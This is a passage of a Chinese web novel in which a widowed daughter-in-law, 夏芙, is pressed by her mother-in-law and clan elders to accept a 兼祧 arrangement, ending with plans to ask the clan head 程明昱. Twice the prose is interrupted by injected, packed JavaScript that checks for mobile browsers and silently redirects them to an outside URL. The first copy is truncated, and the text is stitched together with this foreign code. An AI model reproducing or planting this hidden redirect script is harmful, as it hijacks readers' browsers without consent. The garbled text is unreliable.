说白了，拿名额换诰命，换一份保障。 孟氏却觉着没这么简单，“依我看呐，你索性在族中过继个孩子。要么是远房的，父母不在弘农，要么是孤儿。万事捏在自己手里，才不白瞎了这么个好机会。” 这回夏芙不知想起什么，轻嗤一声，没有立即答她的话。 三伏天的午后炎热不堪，夏芙的秋香苑并不宽敞。坐了这一会儿，二人面上便渗出了汗。夏芙寻了一块帕子给孟氏，自个儿抚着热腾腾的面颊，笑了笑，“这还不是替旁人养儿子么？也不知养不养得好，万一呕心沥血把他养大了，回头与我离心离德，我去哪儿说理去？” 她娘家的兄弟便是现成的例子，叔父膝下无儿，自旁支过继个儿子来，满心眼里待他好，结果呢，如今将寡婶幼妹撂一边。 前段时日寡婶写信来，只道那兄弟拿了主家的银子偷偷给了亲爹亲娘，可没把寡婶给气死。 孟氏想了想，也兀自头疼：“也对，十四房的大少爷也是过继来的，少时爹爹娘亲喊得可亲热了，如今翅膀硬了，成日里跟那头亲近，十四叔暗地里受了不少气。” 转眼的功夫，机灵的孟氏又有了主意，“要不这样吧，去外头慈幼院抱个孤儿来，当亲生的养。如此你便无后顾之忧。” 夏芙笑笑，懒懒抚了抚发梢，这回语气更加坚定，“我不养别人的孩子，不是我肚里出来的，永远养不熟。” “再者，我婆母也不会答应，有现成孙儿，何必舍近求远。” 孟氏捂住了头额，“这也不成，那也不成，这可如何是好？难道就没两全的法子吗！” 夏芙不愿继续这个话茬，“罢了，我就不操这份闲心了，交由婆母拿主意吧。” “天热，我给你沏一壶金银花茶下下火气。” 夏芙这厢吩咐秋蕖沏茶。片刻，茶水送进屋，二人又说起闲话。 “你过门这般久了，怎么还没动静？”孟氏与程明英成婚已有一年半了，她那婆母不好相处，夏芙替她担心。 不料孟氏这回却轻轻抚着小腹，小心翼翼地说：“我这个月月事迟了，也不知是不是有了，再等几日看看。” 夏芙一听，比她还高兴，忙握住她的手腕，“这敢情好！我闲来无事，便先替你预备起来。孩子的小袜子、虎头鞋、汗衫儿，我替你备了。” 孟氏小声道，“别急，还没准信呢，我怕空欢喜一场。 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金氏提着裙摆进了屋，甫一行至珠帘处，便得里头四太太劈头盖脸一顿骂， “你可知为何不能给你？不是我不愿给，是你不配，这些年你待芙儿如何，你心知肚明！可怜的小娘子，已然谨言慎行，大门不迈二门不出，你却处处提防她，欺负她，你当我不知道呢！如今她有了好处，你却想来争一争，你羞不羞！” 金氏见四太太毫不留情面，脸面也通红，“娘，那是过去，过去我着实待芙儿有所偏颇，如今媳妇也知错了，眼下里已把她当姐妹，往后一同抚养孩儿，更是亲如一家，谁家里妯娌之间没个摩擦龃龉的，一家人到底是一家人，相比老三家的，您把芙儿交给我，不是更妥帖？” 她才是四房掌中馈的媳妇。 到了这个关头，索性也不必藏着掖着，干脆摊开了说，“待您百年，她一个寡妇，总得有个人帮衬她呀！她把名额给我，才是落了实在！” 夏芙将来还要在她手里讨日子！ 四太太听出她弦外之音，一口血险些喷出，“你威胁我？眼下你连我都能威胁，哪日我去了，芙儿岂不是任你捏圆搓扁？” 珠帘内的四太太撑着圈椅手柄，气得胸口起伏不定，已是摇摇欲坠。 金氏又恐婆母气病，又不敢进屋，急得团团转，最后是四太太身侧的管事嬷嬷，呵斥一声，将金氏骂走了。 饶是如此，四太太还是病倒了，眼下荫庇名额便是一个香饽饽，别说本家两个儿子，便是外头族里人都盯上了，四太太好不焦心。 一道恩旨反而成了祸胎。 事情到底传得人尽皆知，翌日清晨，各房太太前来探望，有人劝四太太， “一碗水端不平，为免两个儿子吵起来，我看您干脆在族里过继一个，这样他们都没话说。” “就是，说到底这事得芙儿拿主意，朝廷下发恩旨，未必没有让嗣子侍奉寡母终老的意思，过继个孩子，芙儿后半生方有保障。” 此两位太太房里有的是儿子，儿子又生了一窝孙子，均巴巴指望被四太太过继。 四太太听得心烦，其中十二房的太太与四太太交情不俗，见她不堪烦扰，将其余人赶走，坐在她塌侧，“你别听她们的，此事不妥。” 四太太揉了揉眉心，“怎么个不妥法？” 十二太太道，“其一，指不定养不熟，你看十四房便知。其二，芙儿过于貌美了，年轻的寡母，没有血缘的嗣子，待在一个屋里不合适，可别回头没给芙儿寻个倚仗，反而招了祸事来。” 这话说到四太太心坎上。 她太知道这个孩子有多招人，连憨直的程明同瞧了她还脸红呢，遑论他人。 一时找到了知音，“我何尝没有这等顾虑，那孩子孤苦，全靠我替她筹谋，我若不能将她安置周全，百年之后如何去见祐儿。” 想起白发人送黑发人，四太太又是一阵心酸。 “那依十二弟妹，此事该如何了难？” 十二太太是个有主意的，轻轻替她掖了掖薄衾，语重心长，“兼祧，让芙儿兼祧，孩子自她肚里出，母子连心，方保一世安稳。” 四太太猛地抬起头。 所谓兼祧，本是一子娶两房妻，所生子女分别继承两房香火。但随着世道演变，也有因事制宜的情况。譬如夏芙这等情形，便可由族内其他兄弟兼祧她一房，所生孩子继承程明祐的香火。 程家绵延数百年而不衰，五服之内的族人尚有几十房，出五服外的程家人更是数不胜数，兼祧之事并不罕见，程家十八房便是如此。 四太太眼眸如拨云见日般，亮堂起来。 “好主意，如此的确是两难自解，就看芙儿应不应了。” 9. 第 9 章 四太太听罢十二太太的话，豁然开朗，“就这么办，不过此事你知我知，暂且不要外道，我恐又惹出许多风波来。”以夏芙的美貌，难保不招人垂涎。 十二太太心如明镜，颔首道，“你放心，我有分寸。”说罢便起身告辞。 然隔墙有耳，消息终究走漏了出去。 自程明祐过世，四房的格局便悄然转变。过去万事以程明祐这位新科进士为先，下人们也巴巴地讨好夏芙。如今程明祐一死，四房便由大爷程明泽撑着，私下自有人暗通长房，给自己留退路。虽说程明泽不至于在自己母亲跟前安插眼线，可若有人主动投效，他也照单全收。 “兼祧”这个主意到底传到了程明泽耳朵里。他一听便呆住了，脑海慢悠悠浮现出夏芙那张娇艳的面孔，心神跟着一晃。 那是一张让任何男人都无法拒绝的面孔，眉若远山春黛，目似秋水横波，身姿袅袅娜娜，懵懵懂懂地望过来时，瞳仁里像是凝着一层薄薄的水雾，带着浑然天成的魅惑，看她一眼都能酥了骨头。 名正言顺兼祧，谁能不意动？ 程明泽忽然拿定主意，掀着衣摆来到上房。 四太太正喝了一碗参汤，歪在榻上歇息，听得一道沉稳的脚步声，倏忽睁开眼。 程明泽含笑来到她跟前落座，见她面上有汗，顺手为她递了块帕子， “娘，儿子突然有个主意，可解娘心头忧愁。” 四太太没接他的帕子，靠着引枕，狐疑看他，“什么主意？” 程明泽道，“儿子回去突然想起了十八房，要不，咱们循着旧例，让夏芙兼祧吧。” 四太太心头一惊，她与十二太太刚合计出一个主意，儿子转背便来敲边鼓，这是有人偷听了去告密，还是当真不谋而合？她面上不动声色， “依你之见...” 程明泽苦笑，“儿子也不卖关子了，索性让儿子兼祧了夏芙，为明祐留个后...” 话未说完，却见四太太脸色一变，眼若两个黑窟窿似得盯着他，盯得他浑身发麻， 程明泽心虚道，“娘，这不是两难自解的好事吗？儿子也是深思熟虑过，才来跟您提。” “你若深思熟虑过，就不该来提这话。”四太太脸色铁青，坐直了身骂道，“我看你也是觊觎芙儿美色！” 程明泽被母亲看穿心思，脸上有些挂不住，却也没有否认，“娘，是又如何？如今还有别的选择吗？您把她交给我，我自护她一辈子，如此孩子有了，靠山有了，弟妹未必不依！” “再说了，儿子也着实舍不得这个名额，我是您的嫡长子，是该撑着四房门楣的人，我的孩子自当入朝为官，有何不可！” 四太太眼神凉凉扫过来， “然后呢？等着你媳妇视她为眼中钉肉中刺，将她蹉跎至死？我告诉你，谁都可以，独你不成，若叫你兼祧，便是害得四房鸡犬不宁，那我不如当从来没有这个名额！” 四太太心头雪亮，早将这里头的厉害看的明明白白。 程明泽闻言急了，“娘，您宁可便宜外人，也不叫儿子如意？” 这话可是三教九流的荤话，惹出四太太的火气，“你怎么能说出这种话？你把她当什么了！”四太太好不容易养回来的一点血色又被他气回去了，胡乱抓着床榻几个引枕对着他砸去，“滚出去！” 程明泽气急败坏往外走，四太太看着他恼怒的背影，追骂一句，“去问问你婆娘，她答不答应！” 金氏当然不答应。 天下没有不透风的墙。两刻钟后，消息便传到了她耳朵里。 她气势汹汹奔来前院的书房，进了屋便抽起程明泽悬挂在墙壁处的一把宝剑，对着桌案后颓然出神的男人砍来：“你个混账东西！亏我待你一心一意，你却背着我打别人的主意？也不看看自个儿什么德性，那夏芙看不看得上你？你若兼祧，我便回金家，我去家主处告状，我让你没好日子过！” 程明泽见金氏撒起泼来，也是吓住，慌忙往博古架后闪躲，“祖宗，你急什么，我岂能不跟你一条心，我那不过是权宜之计....” 夫妻俩在书房闹闹咻咻，好半日方平息。 四太太这边直挺挺躺在木榻，至傍晚方喘过气来。 彼时小儿子程明同自族学回府，大抵也自下人口中听说了些门道，进屋给四太太请安时，脸色便有些不自在。 四太太见是他，神色缓了几分，“回来了？功课学得如何？” 程明同笔直地坐在她跟前的锦杌，乖顺地点头，“今日家主亲自授课，讲述了一篇策论，儿子都记住了。” “家主满腹经纶，才贯古今，所陈策论，必是经世致用之良言，你当字字铭记在心。”说完见他欲言又止，四太太笑道，“怎么了？你这是有心事？” 程明同从来不跟母亲隐瞒，苦笑道，“娘，我知道您在为二哥嗣子一事发愁，儿子不知该如何帮您。” 四太太看着乖巧的小儿子，沉默片刻便将兼祧的事与他说了。 听得程明同目瞪口呆，“还可以这样吗？” 四太太瞟着他，“你意下如何？” 程明同登时烧得满脸通红，双手早不知往何处安放，“嫂嫂固然很好，可是我觉着这么做，对不起二哥....” 他羞愧地垂下眸。 羞愧就意味着有念想，四太太心情五味杂陈，甚至略有些失望。 她倒宁可程明同如程明泽一般，勇于站出来承认，勇于担起这桩事，像个男人俘得夏芙芳心，他没有娶妻，他无后顾之忧。若是儿子争气，她索性一不做二不休将夏芙改嫁程明同，可惜小儿子少了几分担当的骨气。 又能怎么办。 他已然是最好的选择。 “我问问芙儿的意思。” 程明同期待着点头，“一切照着嫂嫂意愿来，儿子听凭母亲吩咐。” 等着别人给他拿主意.... 家里的男人不是死了就是没用，全得靠她来担着。 四太太在心里默默叹了一口气。 傍晚，夏芙晨昏定省，四太太便将意思摊开了与她说。 夏芙给吓住了，“兼祧？” 一双杏眼睁得雪亮，并无欢喜，更多的是惊吓。 四太太见状，便知犯难，却还是硬着头皮说道，“他兄长这边我不考虑，就是明同，他眼下尚未成婚，先与你兼祧，替祐儿绵延子嗣，若是往后你愿意，便干脆改嫁于他，再替他生个孩子罢，我也想明白了，往后让老大一家去京城过，我陪着你们在弘农，如此互不相干。” 不等她说完，夏芙俏脸浮冰，斩钉截铁摇头， “我不答应，明祐尸骨未寒，我却改嫁他弟弟，这像什么话！”说着夏芙眼眶发酸，闭了闭。 四太太也不意外，叹了一声气，将她拉至跟前坐着，“你若是不愿改嫁，那兼祧呢？你可愿意？” “那就更不成了，如此后患无穷！”夏芙抬眸看向四太太，焦急道，“娘，眼下明同还未成婚，尚无掣肘，待他日，他再娶一房妻进门，晓得了这事，岂不膈应得慌？届时可真是没安生日子过了。” 四太太何尝不知，不由苦笑，“所以，我这不是劝你改嫁明同么？” 又绕了回来。 夏芙脸一红，“娘，明同在我眼里跟个孩子似的，我岂能...” 四太太笑着斜了她一眼，“他不过小你一岁，今年也十七了，旁人家这个年纪，做爹的都有。罢了罢了，你不愿意，娘还能强按你不成？” 见婆母无强求之意，夏芙也放了心，陪坐片刻，见她精神懈怠，伺候她喝了安神汤，便退了出来。 四房这桩事终究是闹得长房大太太知道了，翌日晨遣了个嬷嬷来问究竟，四太太今日身子已大好，索性搭着嬷嬷的手，去往长房，“怕你说不明白，我干脆亲自去给大嫂请个安。” 进了屋，却见周氏坐在明间罗汉床，一只腿伸去底下罗凳，正叫女医在推拿， “大嫂，你这是怎么了？” 周氏往小腿根指了指，“几日前夜里起夜，突然崴着了，若非如此，我早去四房看望你与芙儿。怎么回事？听说你们四房闹翻天了？” 四太太神色一收，往四下扫了一眼，周氏心里透亮，示意众人离去，只留一老嬷嬷守在屏风外。四太太这才往她跟前的圈椅坐下，一五一十将荫庇名额与兼祧的事给说了。 周氏听到“兼祧”也愣了下，“芙儿没答应吧？” 四太太苦笑，当着周氏的面也不遮掩了，“她岂会答应？自是一口回绝。” 周氏默然片刻，替她分析， “过继外头的孩子，芙儿自个不答应。过继明泽的儿子，你那长媳怕是不好相与，芙儿会被吃的骨头都不剩。过继明同的孩子，你老大一家又不肯罢休，着实难办。” “至于兼祧，老大家铁定是不成的，只会惹得一身骚，芙儿吃不起那个苦。只能是老三，不过恕我说句实话，明同性子和软了些，也护不住芙儿，两个孩子均懵懵懂懂的，若是凑一处过日子，我怕你一颗心安在他们身上都不够。” “但也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唤做沉香的丫鬟取了那盒东珠来，亲自给大太太挑，周氏挑了最大的五颗，全让四太太带去给夏芙，那一颗颗，晕彩流金，浑圆饱满，散发着绸缎般细腻的光彩，跟金色的鸽子蛋似的，是可遇而不可求的好货。 四太太心底吃惊，拿着不安，“这...”若是被周氏另外的媳妇知晓，怕是要吃埋怨。 周氏瞪了她一眼，让她放心拿去。 四太太仔细将锦盒收入袖筒里，搭着丫鬟手臂往外去，心底再一次为长房的富贵而咋舌。 过了穿堂，东边毗邻一处水泊，绕水泊而过，有一扇小门出长房，那是去四房最近的路，待四太太带着人行至水泊旁的花厅处，便见前方廊庑迈过来一人。 阳光漫过廊柱，他一身素衫信步而来，五官眉目宛如一幅浑然天成的水墨画，白色发带拂过手侧，恰似指尖泻玉，一身清越之气扑面而来，如月出云岫，松立空山，周遭万物皆成了他的陪衬。那一瞬，四太太终于明白，为何“风华绝代”四字，只配用在他身上。 四太太在花厅廊下驻足。 程明昱也发现了她，立在游廊的台阶朝她抬袖一揖， “请四婶安。” “见过家主。”四太太稍稍欠身，眉目和善问他，“月底便要除服，明昱恐要回京吧。” 程明昱轻描淡写回道，“不急，漕运尚有些事亟待处理。” 事实上皇帝起复他为参知政事的圣旨已抵达他的案头，只是近来皇帝新诞生了一位皇子，朝堂正为改立太子而争执不休，程明昱不愿裹入党争，打算多留数月，待铲除阻碍漕运的毒瘤，再归京不迟。 朝堂上的事，四太太不明白，也不敢多问。 好不容易遇着他，便说起程明祐荫子一事，“明昱，朝廷诏令下来是个什么章程？我眼下还没拿定主意，申报怕是要缓一缓。” 程明昱坐书房而知天下事，程家堡很少有什么动静能瞒过他，端看他插手不插手，是以四房荫庇一事，他也自管家处有所耳闻，不过没放在心上，眼下四太太提起，便知她担心错失名额。 他温文含笑，“四婶放心，有我在，无忧。” 有我在，无忧。 听听，字越少，听得人越心安。 旁人一车轱辘话也抵不过他一个眼神。 家主的庇护哪怕一丁点也够她们受用一辈子。 有这样的儿子，大嫂好福分哪。 有这样的男人做靠，是几世修来的造化... 等等。 四太太脚步一顿，脑海突然冒出个大胆的念头。 10. 第 10 章 七月初七，乞巧节，民间亦叫七夕节，今日的程家堡车水马龙，堡内几条纵横八达的街道摆满了香果针线绣囊子，扎着灯笼预备夜里游街，这一日是姑娘少爷最喜爱的节日，可以放开了手脚上街游玩。 不过这不适用守寡的少妇。不上街的少妇相互赠些绣活，便当全了这个礼。 夏芙的绣工实在不怎么样，于是编了个一个花环赠给孟氏。 上回听闻孟氏月事推迟，有怀孕的征兆，今日正巧来打听个准话。 果不其然，绕过紫檀雕花屏风，进了东次间，便见孟氏倚在那张靠墙的黑漆描金罗汉床上，胸口搭条薄衾，眉眼生倦。一堆丫鬟来来往往，有人奉参汤，有人递帕子，还有人帮着垫引枕，四五人忙得手忙脚乱，好似伺候什么宝贝疙瘩，唯恐磕着碰着。 夏芙心底有了数，扬声笑道，“这么说，可是有了？” 孟氏从人缝里辨出夏芙身影，赶忙将丫鬟们使开，热情地招呼，“芙儿，快过来坐。” 丫鬟们又挪来一张圈椅挨着罗汉床，伺候夏芙坐下，奉了茶，摆了瓜果，这才退下。 孟氏眼见地快活了，眼底的笑意溢出来，半搂半抱靠在夏芙肩处，欢喜道，“是有了，昨个晨起吐了一遭，夫君请了大夫来，把出喜脉，我婆母总算给我个笑脸，喜得今个一早去城外拜菩萨去了。” 夏芙笑吟吟的，“你怎么也不给我送个信，害我今日空手来！” “什么空手来，你这花环便编的极好，给我戴戴。”说罢便自她旁边的高几将花环拾来往头上去，夏芙却眼疾手快夺过来，起身将之搁去了外间， “你如今怀着孕，也不知这里头的花粉熏不熏着你，若是回头有个不适，我可担待不起。” 两人话了几句闲，孟氏问起那桩事。 夏芙面色娇红，“我婆母提出兼祧，不过我没应...”她做不出与旁的男人亲热之事来，这与背叛丈夫没两样。 孟氏一听，却如通了七窍似的，眸色顿生雪亮，猛一把拽住夏芙手腕，“我觉得成啊，你不是不想养旁人的孩子嘛，那就自个生。” 她捂着小腹，“有个与自己血脉相连的孩子，是多么幸运的事。你不知我这两日高兴成了什么样。我从未这样满足过，我竟也能做母亲了。” 夏芙何尝不想要自己的孩子，她羞答答的，“那我也不能为了个孩子，便与旁的男人...” “这有什么？多少妇人再醮不也过得好好的？你只当是改嫁，想开些，不过是多睡个男人的事。” 夏芙听着她混不吝的语气，恼了她一眼，“我可不与四房的两位爷兼祧，回头他们的媳妇还不吃了我？放着安稳日子不过，何必折腾一遭。” “待你婆婆百年之后呢，你守得住么？你将来靠谁？”孟氏肃然盯住她，“芙儿，你不要只看眼前，要看将来呀。” 夏芙顿时哑了口，神情黯淡下来。 孟氏复又拉住她，推心置腹道，“芙儿，你生得这般模样，容易招男人觊觎，家主人在弘农，有他镇着，你安全无虞，待家主归京，那些王八羔子私下欺负你，你又当如何，你敢声张出去吗，可不得暗地里受着么。” “无儿无女的俏寡妇，谁见了不眼热啊，我夫君昨个提起你，还劝你改嫁呢！” “有个孩子便不一样，有孩子傍身，便如同生了根，往后整个程家，没人敢看轻你。更何况这个孩子将来可是要做官的，你的福气在后头呀！芙儿，说句掏心窝的话，换做是我，毫不犹豫选择兼祧，只有拽在自己手里的，才是靠得住的。” “别看我眼下怀了孕，我的孩子将来是何光景还未可知，你的孩儿不然，出生便注定前程似锦。” “迈出这一步，便是康庄大道，你还犹豫什么！”孟氏都替她急。 这番话字字句句都戳在夏芙心坎上，她被说得有些意动，“可是四房...” “四房那两个不成，我晓得你顾虑妯娌，唯恐日后招恨。”孟氏截住她的话，为她拿主意，“我的意思是，在族里挑，挑个鳏夫！请族老出面，为你主持大局。” 夏芙实在惊讶，旋即发笑，“让外头的男人兼祧，叫我婆母为旁人养孩子，怕是不能够。” 孟氏一听也泄了气， “哎呀，此事真真难得两全。” 夏芙见她为自己愁眉苦脸殚精竭虑，十分内疚，“好了，我的事你别操心了，顾着自个身子吧，头次怀孕，可要养仔细些，万不能出差错，否则能落下病根。” 孟氏哼道，“我好着呢，一堆人伺候，能出什么事？反倒是你，我不为你挂心，还有谁顾着你？” 夏芙唯恐她为自己劳神费力，碍着她养胎，略坐片刻就辞了出门。 回了秋香苑，只见几个丫鬟均立在廊庑站班，一个个拿眼神瞧她，大气不敢出。 夏芙与文宁相视一眼，略觉疑惑。 自文宁来了秋香苑，内务委于秋蕖，出门便由文宁服侍左右，现如今两个女婢一内一外，倒也配合得相得益彰。 秋蕖朝里努努嘴，暗示她太太在里头。 夏芙敛色，快步进了屋。 没多久，出来一婆子，手中绣帕一扬，“太太与奶奶在屋里叙话，你们都散了吧。” 将人全部使出去，不叫人窥探。 里屋，四太太一脸郑重坐在主位，神情不似往日温和。 夏芙越发悬了心，先给她斟了一杯茶，挪至她跟前坐下，“娘，出了何事？” 四太太细细逡巡她姣好的眉眼，有些不知该如何开口，这一路回来，念头如藤蔓一般在她心底肆意攀长，捆得她几乎喘不过气来。 这无疑是个绝妙之选，一旦事成，可保四房荣华富贵。 再难，也要试一试。 四太太深吁出一口气，露出如常的笑容，“孩子，我知你担心妯娌之间生嫌隙，不愿与明泽或明同兼祧，若娘问你，在族里挑人，你意下如何？” 这话把夏芙问住了，婆母这意思竟与孟姐姐不谋而合。 原先顾虑婆母不愿替旁人养孙，不料眼下却主动提起，倒令夏芙十分意外。 消息来的太突然，夏芙抿唇，没有立即回应。 四太太一看她这模样便知有戏。 “在族里挑个可靠的男人，生了孩子记在明祐名下，是你肚里出来的人，不用担心孩子背叛你。” 夏芙失笑，“去哪里找个处处妥帖的人？回头能顺利地一刀两断吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523839|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我只问你，若我能打消你所有顾虑，你愿不愿意寻个人兼祧。”四太太截住她的话。 夏芙看出婆母似乎已有主意，狐疑地问，“婆母这是有了人选？” “程明昱！” 夏芙倒抽一口凉气，手中帕子一松，直直滑下膝盖，她不可置信盯着四太太，好一阵吃惊，渐渐的，觉着婆母过于异想天开，反而笑起来，“娘，亏您敢打这样的主意，家主怎么可能答应这么荒唐的事！” 四太太急了，加重语气，“你别管，我就问你，若是他，你愿不愿意？” 夏芙一怔，陷入沉默。 四太太只能掰着手指给她说明厉害。 “一旦兼祧成功，这个孩子名是明祐之子，实则是族长之子，有程明昱这个亲生父亲暗中襄助，还怕孩子将来仕途不顺遂么？” “明昱此人人品贵重，又曾立誓不再续弦，如此，事成后，你不必担心他与你纠缠，更不必担心有旁的女人记恨于你，你白白得了个孩子，给明祐继承香火，替四房撑起门楣，何乐而不为？” “其三，待你成了明昱的兼祧之妻，这辈子，还有谁敢欺你？辱你？即便他不娶你，也绝不会看着旁人打你的主意，你往后便是高枕无忧啊。” 还有一桩好处四太太没有言明，长房富贵无极，将来未必不会给孩子一份产业，这于四房和夏芙而言，是百利而无一害。 唯一诟病之处，便是这个孩子与四房毫无血缘。 又有什么关系呢。 在巨大的利益面前，她选择为四房谋个稳妥的前程。 找了程明昱，便如同为四房找了最强大的靠山。 夏芙一字一句听完，寻不到任何可反驳之处。 有亲生的孩子傍身，有安虞无忧的未来，这一桩桩的好处摆在这里，连夏芙都没了抵挡力。 “可是，这么做，对不住明祐。”夏芙声音渐渐低下去，捂住脸，嘤嘤地哭了起来。 四太太何尝不知这么做对不住明祐，又能怎么办，活着的人还得活下去。 四房不能垮。 她轻轻地将夏芙抱入怀里，柔声开解， “孩子，你为祐儿留一脉香火，让四房有靠，让你我有人奉养，明祐在天之灵定能明白这番苦心，他不会怪你的。” “只是兼祧而已，若是顺利，很快便能怀上，你还是明祐的妻。” 夏芙哭得双眼通红，轻易过不了心里那关，当然也挣扎，勉强笑说，“即便我答应，家主也不会答应，我看娘是打错了算盘。” 四太太也知此事成不成，根源在程明昱。 总归要试试。 “芙儿，你给我个准话，若我说服他，你不可打退堂鼓，成吗？”四太太神情严肃，已是将她往梁山上逼了。 说服程明昱可不是件容易的事，一旦那头谈妥，夏芙这边再出岔子，便是狠狠得罪了长房，得罪了族中长老，届时收不了场。 夏芙也深知这里头干系不小，心下彷徨，然婆母坚定的眼神昭告她没了退缩的余地，姑娘被赶鸭子上架，咬着牙点头， “好，我答应您。” 她应是应了，不过在夏芙看来，家主答应的可能性极小。 11. 第 11 章 这头说服了夏芙，接下来便要拿下程明昱。 四太太或许没有长房周氏那般高瞻远瞩的见识与明快豁达的气魄，然若论人情场里纵横捭阖却是一把好手，当下夜里便决定先说服几位族老，为自己掠阵。 她先去的是出主意的十二房。 一进屋便先朝十二太太夫妇哭诉一番，将程明泽与程明同争抢兼祧一事给说了，哭得一把鼻涕一把泪，怨自己命苦，没生个争气的儿子，怨四老爷去的太早，丢这么个烂摊子给她。十二太太与十二老爷都是看着她一个人艰难撑过来的，听得肝肠寸断，恨不得将四老爷从坟墓里给拽出来。 “嫂嫂，您别哭，这事总归要寻个解决的法子。” 四太太忍住泪水，哽咽道，“还有一桩事，我不敢瞒弟妹，前段时日那程明旭之所以被家主赶去崖州，是因他居心叵测欲将芙儿拖去林子里，被明昱逮了个正着，若非明昱发现及时，芙儿恐就出了事。” 十二老爷夫妇大为震惊，更为愤慨，“竟有这等禽兽不如之事！” 四太太痛心疾首，“此事二老大可去问明昱，我不敢撒谎。” 十二太太在程家素有侠名，平日但见不平，定出手相助，今日也没有袖手的道理，“还是得寻个一劳永逸的法子，安置芙儿才好。” “可不是？我这不来寻两位做主。” 十二太太道，“嫂嫂说吧，你打算怎么办？” 四太太道，“我打算让明昱兼祧芙儿，如此方可保芙儿一世安稳！” 十二太太二人听得这个人选，顿露愕然，夫妇相视一眼，立即嗅出了这里头的门道。 四太太这主意打到族长身上，多少叫二人有些不满，算盘珠子崩得未免也太响了些，端看四太太，十二太太未必想淌这趟浑水，然考虑到夏芙，确实没有比程明昱更好的人选。 一个鳏夫，一个寡妇，一个不肯再娶，一个不愿改嫁，若论兼祧，舍他二人其谁。 十二老爷没得话说，看向妻子，“夏氏性子弱，又生得好，还真明昱不可。” 丈夫发了话，十二太太便干脆拍板，“就这么定了，他十二叔，此事你来牵头。” 随后十二老爷便招呼上族里颇有威望的五老爷，与有兼祧旧例的十八老爷，一行浩浩荡荡往长房赶来。 程明昱的事，得先过周氏这一关，是以大家伙一拥进了周氏的荣华堂。 周氏下午刚叫人陪着玩了会叶子牌，此刻正在罗汉床上歇息，听得婢子一个个来报，眯起了笑眼， “哟，今日是什么风，将你们这些族老都给吹了来？” 她腿尚未好全，见人来的这么齐，也不得不起身相迎。 大家均知她腿脚不便，慌忙上前将人按下。 “长嫂跟咱们客气什么？我昨个没来给您请安，您可好些了。”十二太太殷勤地将人扶住。 周氏抬手示意丫鬟上茶，招呼大家坐下，笑着回，“好多了，过不了两日便可去园子里逛逛。” “后日我家孙儿满月，我亲自来接您去府上吃酒。” “不用你接，我自个儿去凑热闹。” 起了个兴头，大家伙依辈分落座，四太太坐在左面下首，斟酌着开口， “大嫂，今日前来，实则是有事求您帮忙。” 程明昱跟前需旁人牵头，周氏这里，却得她亲自开口，如此方显诚意。 周氏也看出今日阵仗非同凡响，怕不是小事，神色不露分毫，问道，“什么事，你只管说。” 四太太便将请程明昱兼祧一事给说了，说完几人齐齐注视周氏，等着她反应。 周氏果然好一阵发愣。 叫明昱兼祧夏芙，这么说，便是叫夏芙给她做儿媳妇？ 这可是天大的好事。 周氏在脑海想象一番夏芙与儿子并身而立的画面，只觉一个年轻俊美高大温柔，一个扶风弱柳貌美娇憨，般配得紧。心里那撮喜悦蹭蹭便要溢出来了，转念想起儿子那德性，心头打了个趔。 这事儿怕是难。 四太太打得什么主意，周氏一眼看透，笑得不露声色， “何必兼祧，径直将芙儿嫁予明昱得了，回头让明泽过继个孩子给明祐，此事便两全。” 谁乐意把子嗣交给旁人家养，她还嫌自个孙儿不够多呢。 四太太僵硬地笑了笑，没有接这话。 这回换五老爷替她开口， “明昱肯吗？” 一句话把周氏给噎住。 即便夏芙肯嫁，以她儿子那认死理的德性，必定是不肯娶的。 再者，接连两个儿媳病故，这让一向不信鬼神的周氏也变得瞻前顾后患得患失。 万一儿子真是克妻的命呢。 岂不害了人家姑娘。 周氏不得不有所顾忌。 十二太太笑着打圆场，“大嫂，明昱当着所有族人的面发誓终身不娶，此话不是儿戏，让他娶芙儿怕是不可能，我看兼祧更合适。” 程明昱以信誉著称于世，没有食言的可能。 周氏也觉有理，只能打消这个念头。 这么一来，不得不正视兼祧。 儿子总不能做一辈子的孤家寡人，万一两人看对了眼，即便不明媒正娶，以兼祧的由头伴着过日子也不错。身为母亲，私心还是盼着儿子有个伴。 虽不大乐意将自家孙儿交予旁人抚养，但有总比没有强。所以，周氏对这个主意并不抵触。 她摊手道，“就怕我儿子不答应。” 五老爷道，“只要您首肯，明昱那边我去说项。” 日头往西斜，眼见快到晚膳光景，周氏干脆留了饭，一行数人聚在荣华堂西面的花厅热热闹闹吃了席，期间四太太给周氏敬了几回酒，“这事还请老姐儿帮着劝劝明昱，芙儿的未来可就托付在您老手中。” 周氏举杯相碰，“你们先打头阵，探探他的底细。” 两刻钟后，仆人来报，家主已归家，正在书房忙碌。 众人看向周氏，周氏拄着拐杖起身，“走，咱们去沐心堂。” 沐心堂便是程明昱的书斋，地处程家长房中轴线之西，是个小三进的院落，前院待客，回廊拥过去是五开间的书房，最后一进则是寝院，程明昱娶妻之前及丧妻之后，均独居于此。 程明昱喜静，书斋北邻竹林，东毗水泊，院墙不高，用旧青砖砌成，古朴的雕窗与院内外景色搭配得浑如天成，脚下不铺寻常石板，而是老匠人磨得极细的水磨方砖，雨后呈出淡淡的蟹青色，踏上去不响不滑。就连院子里随意栽植的花草均是天南海北来的名贵品种，遑论屋内摆设。真真一物一器，莫不细琢，蕴奢于朴，藏雅于微，尽显百年大族的清贵之气。 几人来得突然，程明昱来不及出迎，待握着文折绕出书房，便见四太太一行已踏进了穿堂。 年轻的家主一袭茶白长衫，款步从书房穿来前厅相候，他身量极高，肩背挺秀，袍服顺着窄腰垂下，行走时裙带当风，立在厅中正北的祖宗挂像下，朝众人抬袖环揖，“给诸位长辈请安。” 无论何时何地，礼仪周全挑不出一丝错。 